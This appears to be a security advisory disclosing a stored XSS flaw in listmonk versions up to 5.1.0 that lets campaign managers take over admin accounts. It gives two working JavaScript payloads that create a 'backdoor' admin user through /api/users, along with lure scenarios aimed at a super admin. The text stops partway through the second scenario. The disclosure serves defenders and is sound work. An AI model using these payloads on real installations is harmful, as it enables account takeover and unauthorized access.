listmonk Vulnerable to Stored XSS Leading to Admin Account Takeover

Security Advisory: Stored XSS Leading to Admin Account Takeover

Affected Versions: ≤ 5.1.0
Vulnerability Type: CWE-79: Stored Cross-Site Scripting

---

Summary

A lower-privileged user with campaign management permissions can inject malicious JavaScript into campaigns or templates. When a higher-privileged user (Super Admin) views or previews this content, the XSS executes in their browser context, allowing the attacker to perform privileged actions such as creating backdoor admin accounts.

The attack can be weaponized via the public archive feature, where victims simply need to visit a link - no preview click required.

---

Required Attacker Permissions

campaigns:manage    - Create/edit campaigns
campaigns:get       - View campaigns  
lists:get_all       - Access lists
templates:get       - Access templates

Note: These are common permissions for content managers who are not full admins.

---

Attack Vectors

Vector 1: Raw HTML (Direct Script Tag)

<script>
fetch('/api/users', {
  method: 'POST',
  headers: {'Content-Type': 'application/json'},
  credentials: 'include',
  body: '{"username":"backdoor","email":"[email protected]","name":"Backdoor","password":"Hacked123","type":"user","status":"enabled","userRoleId":1,"user_role_id":1}'
});
</script>

Vector 2: Go Template Safe Function

{{ `<script>fetch('/api/users',{method:'POST',headers:{'Content-Type':'application/json'},credentials:'include',body:'{"username":"backdoor","email":"[email protected]","name":"Backdoor","password":"Hacked123","type":"user","status":"enabled","userRoleId":1,"user_role_id":1}'});</script>` | Safe }}

---

Attack Scenarios

Scenario 1: Campaign Preview Attack

1. Attacker creates campaign with XSS payload
2. Request is made to super admin: "Please review my newsletter draft"
3. Super admin opens campaign and clicks Preview
4. XSS executes → Backdoor admin account created
5. Attacker logs in with backdoor / Hacked123

Scenario 2: Archive Link Attack (No Click Required)

1. Attacker creates campaign with XSS payload
2. Attacker enables Archive for the campaign
3. Attacker shares archive link: http://localhost:9000/archive/{uuid}